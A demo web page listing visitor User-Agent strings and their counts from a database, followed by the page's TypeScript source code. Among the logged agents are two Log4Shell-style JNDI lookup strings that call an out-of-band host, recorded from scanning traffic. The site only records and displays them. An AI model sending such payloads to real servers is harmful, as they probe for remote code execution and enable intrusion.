This page demonstrates showing query result from database.
Below list of user agents are collected from the visitor's HTTP header.
stats ready
| User Agent | Count |
|---|---|
| curl | 51966 |
| Linux | 17242 |
| Windows | 16769 |
| Other | 6381 |
| MacOS | 4763 |
| Bots | 1795 |
| Android | 1166 |
| iPhone | 476 |
| iPad | 50 |
| ChromeOS | 9 |
| Links | 6 |
| Wget | 5 |
| Lynx | 4 |
| Bot Agent | Count |
|---|---|
| OpenAIBot | 805 |
| PythonBot | 333 |
| GoBot | 128 |
| CensysInspect | 87 |
| BingBot | 70 |
| GoogleBot | 70 |
| YandexBot | 66 |
| PaloBot | 61 |
| BaiduBot | 57 |
| InternetMeasurement | 27 |
| DuckDuckGoBot | 24 |
| JavaBot | 21 |
| NetcraftSurveyAgent | 17 |
| NodeBot | 16 |
| FacebookBot | 7 |
| SemrushBot | 3 |
| WhatsAppBot | 2 |
| YahooBot | 1 |
| Other Agent | Count |
|---|---|
| TLM-Audit-Scanner/1.0 | 1908 |
| python-httpx/0.28.1 | 1248 |
| Mozilla/5.0 | 917 |
| Mozilla/5.0 (l9scan/2.0.934313e2931323e2939313e2430313; +https://leakix.net) | 463 |
| Mozilla/5.0 (compatible; pathscan/1.0) | 438 |
| Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) | 259 |
| Mozilla/5.0 (compatible; jscrawler/0.1; +https://github.com/) | 146 |
| Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com) | 99 |
| CCBot/2.0 (https://commoncrawl.org/faq/) | 62 |
| Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) | 60 |
| Mozilla/5.0 (compatible; SecurityScanner/1.0) | 54 |
| Mozilla/5.0 (compatible; Google-CloudVertexBot; +https://cloud.google.com/vertex-ai-bot) | 47 |
| Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot) | 42 |
| RootEvidence/1.0 | 40 |
| Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com) | 40 |
| Mozilla/5.0 (compatible; xAI-SearchBot/1.0; +https://x.ai) | 40 |
| Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org) | 36 |
| Mozilla/5.0 (compatible; DRISHTI/1.0) | 30 |
| Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9) | 28 |
| Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) | 25 |
| Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot) | 22 |
| Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) | 17 |
| AIExposure-Scanner/1.0 (+https://aiexposure.entelijan.com/methodology) | 16 |
| Mozilla/5.0 (compatible; GoogleOther; +https://developers.google.com/search/) | 15 |
| Mozilla/5.0 (compatible; GitFinder/1.0) | 14 |
| Mozilla/5.0 (compatible; Claude-Web/1.0; +https://www.anthropic.com) | 11 |
| Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user | 11 |
| fasthttp | 10 |
| meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler) | 10 |
| RecordedFuture Global Inventory Crawler | 9 |
| Mozilla/5.0 (compatible; NetScope-DomainScanner/1.0; security research scanner) | 9 |
| Mozilla/5.0 (compatible; CT-WP-Scanner/1.0; +https://example.com/bot) | 9 |
| Mozilla/5.0 (compatible; wpbot/1.3; +https://forms.gle/ajBaxygz9jSR8p8G9) | 8 |
| Mozilla/5.0 (compatible; YouBot/1.0; +https://about.you.com/youbot/) | 8 |
| Mozilla/5.0 (compatible; SecurityResearch/1.0; ) | 8 |
| Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com | 7 |
| Scrapy/2.13.4 (+https://scrapy.org) | 6 |
| python-urllib3/2.7.0 | 6 |
| ip9max/1.0 | 4 |
| Mozilla/5.0 (compatible; MistralBot/1.0; +https://mistral.ai) | 4 |
| Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot | 4 |
| anthropic-ai | 4 |
| Mozilla/5.0 zgrab/0.x | 3 |
| SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3 | 3 |
| Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0) | 3 |
| Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 | 3 |
| Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +searchbot@anthropic.com) | 3 |
| Mozilla/5.0 (compatible; CohereBot/1.0; +https://cohere.com/bot) | 3 |
| libwww-perl/5.820 | 3 |
| Mozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0 | 3 |
| Mozilla/5.0 (compatible; Meta-ExternalAgent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler) | 3 |
| Mozilla/5.0 (compatible; DomainChecker/1.0) | 3 |
| Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com) | 3 |
| Scrapy/2.13.3 (+https://scrapy.org) | 2 |
| Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u) | 2 |
| Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko) | 2 |
| Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/2.30.6 | 2 |
| Facebot | 2 |
| Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 | 2 |
| SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 | 2 |
| Mozilla/5.0 (compatible; UGAResearchAgent/1.0; Please visit: NISLabUGA.github.io) | 2 |
| Mozilla/4.0 (compatible; Dillo 3.0) | 2 |
| FileTransport PolycomVVX-VVX_400-UA/5.3.0.12074 (SN:0004f28efa50) Type/Application | 2 |
| MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 | 2 |
| Screaming Frog SEO Spider/8.1 | 2 |
| Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0 | 2 |
| Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30 | 2 |
| CVE-2025-55182-Checker | 2 |
| Mozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+ | 2 |
| LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 | 2 |
| BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0 | 2 |
| SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0 | 2 |
| SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 | 2 |
| Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 | 2 |
| Adobe Application Manager 2.0 | 2 |
| Mozilla/5.0 (compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) | 2 |
| Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS) | 2 |
| Scrapy/2.16.0 (+https://scrapy.org) | 2 |
| Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a | 2 |
| Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5 | 2 |
| Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15 | 2 |
| Mozilla/3.01Gold (Win95; I) | 2 |
| NetSurf/1.2 (NetBSD; amd64) | 2 |
| Mozilla/5.0 (compatible; rust_sniffer/0.1; +https://github.com/) | 2 |
| FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler) | 2 |
| AdsBot-Google ( http://www.google.com/adsbot.html) | 2 |
| git/2.39.2 | 2 |
| W3C_Validator/1.654 | 1 |
| MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0 | 1 |
| Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5 | 1 |
| nook browser/1.0 | 1 |
| fastapi-client/1.0 (+https://fastapi.tiangolo.com/) | 1 |
| Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8 | 1 |
| Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 | 1 |
| LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1 | 1 |
| BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 | 1 |
| Mozilla/5.0 (compatible; VertexWP/1.0; +https://vertexwp.com/bot) | 1 |
| PolycomSoundStationIP-SSIP_6000-UA/4.0.5.4853 | 1 |
| Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html) | 1 |
| MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.0 | 1 |
| POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1 | 1 |
| Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko) | 1 |
| Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/123.0 Safari/537.36 | 1 |
| Mozilla/5.0 (compatible; RavenX-Scanner/1.0) | 1 |
| WebCopier v4.6 | 1 |
| BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 | 1 |
| {USER_AGENT} | 1 |
| Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0 | 1 |
| Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1 | 1 |
| Opera/9.30 (Nintendo Wii; U; ; 2047-7; en) | 1 |
| Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua) | 1 |
| Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0 | 1 |
| subjs | 1 |
| Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 | 1 |
| ${jndi:ldap://${:-553}${:-262}.${hostName}.useragent.d7nfud9s906s3f3g4f0gxi9quefc9nzir.oast.online} | 1 |
| ${jndi:ldap://127.0.0.1#.${hostName}.useragent.d7nfud9s906s3f3g4f0gf5mxbxybw3fof.oast.online} | 1 |
| Mozilla/5.0 (compatible; GoogleOther; +https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers) | 1 |
| SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0 | 1 |
| Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13 | 1 |
| InternalSiteScanner/1.0 | 1 |
| greedyhand/0.1 | 1 |
| msnbot/1.1 ( http://search.msn.com/msnbot.htm) | 1 |
| Mozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot) | 1 |
| Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413 | 1 |
| Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 | 1 |
| Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6 | 1 |
| Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es50 | 1 |
| SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 | 1 |
| HeartbeatMonitor/1.0 | 1 |
| SonyEricssonT100/R101 | 1 |
| SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 | 1 |
| Mozilla/5.0 (compatible;) | 1 |
| BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0) | 1 |
| Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 | 1 |
| BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103 | 1 |
| Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28 | 1 |
| CSSCheck/1.2.2 | 1 |
| HTMLParser/1.6 | 1 |
| SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 | 1 |
| Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0 | 1 |
| Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 | 1 |
| Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.10 | 1 |
| msnbot-media/1.1 ( http://search.msn.com/msnbot.htm) | 1 |
| Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php) | 1 |
| SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0 | 1 |
| Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.3 | 1 |
| Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko) | 1 |
| Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC) | 1 |
| Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0 | 1 |
| Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0 | 1 |
| facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php) | 1 |
| SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 | 1 |
| SEC-SGHX210/1.0 UP.Link/6.3.1.13.0 | 1 |
| Googlebot/2.1 ( http://www.googlebot.com/bot.html) | 1 |
| Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 | 1 |
| Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.2 | 1 |
| SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 | 1 |
| msnbot/0.11 ( http://search.msn.com/msnbot.htm) | 1 |
| Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 | 1 |
| SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 | 1 |
| Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0 | 1 |
| BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100 | 1 |
| BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123 | 1 |
| Mediapartners-Google | 1 |
| Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1 | 1 |
| Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65 | 1 |
| Mozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+ | 1 |
| Download Demon/3.5.0.11 | 1 |
| ureq/2.12.1 | 1 |
| Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/113.0 Safari/537.36 | 1 |
| Mozilla/5.0 (compatible; Silovik/2.0) | 1 |
| Mozilla/5.0 (domain-scan) | 1 |
| scrape_central/1.0 | 1 |
user-agents.tsximport { proxy } from '../../../db/proxy.js'
import {
getOtherUserAgents,
getUAStatsProgress,
} from '../../../db/user-agent.js'
import { Locale, Title } from '../components/locale.js'
import SourceCode from '../components/source-code.js'
import Style from '../components/style.js'
import { o } from '../jsx/jsx.js'
import { Routes } from '../routes.js'function agentTable(title: string, rows: [name: string, count: number][]) {
if (rows.length === 0) return
rows.sort((a, b) => b[1] - a[1])
return (
<table>
<thead>
<tr>
<th>{title}</th>
<th>Count</th>
</tr>
</thead>
<tbody>
{[
rows.map(([name, count]) => (
<tr>
<td>{name}</td>
<td>{count}</td>
</tr>
)),
]}
</tbody>
</table>
)
}
function Tables() {
return (
<>
<p>{getUAStatsProgress()}</p>
{agentTable(
'User Agent',
proxy.ua_type.map(row => [row.name, row.count]),
)}
{agentTable(
'Bot Agent',
proxy.ua_bot.map(row => [row.name, row.count]),
)}
{agentTable(
'Other Agent',
getOtherUserAgents().map(row => [row.user_agent, row.count]),
)}
</>
)
}
let UserAgents = (
<div id="user-agents">
<h1>User Agents of Visitors</h1>
{Style(/* css */ `
#user-agents table {
border-collapse: collapse;
margin: 1rem;
display: inline;
}
#user-agents th,
#user-agents td {
border: 1px solid var(--text-color, black);
padding: 0.25rem 0.5rem;
max-width: calc(90vw - 8rem);
word-break: break-word;
}
`)}
<p>This page demonstrates showing query result from database.</p>
<p>
Below list of user agents are collected from the visitor's HTTP header.
</p>
<Tables />
<SourceCode page="user-agents.tsx" />
</div>
)
let routes = {
'/user-agents': {
menuText: <Locale en="Visitor Stats" zh_hk="訪客統計" zh_cn="访客统计" />,
title: (
<Title
t={
<Locale
en="User Agents of Visitors"
zh_hk="訪客的用戶代理"
zh_cn="访客的用戶代理"
/>
}
/>
),
description: (
<Locale
en="User agents of this site's visitors"
zh_hk="此網站訪客的用戶代理資訊"
zh_cn="此网站访客的用户代理资讯"
/>
),
node: UserAgents,
},
} satisfies Routes
export default { routes }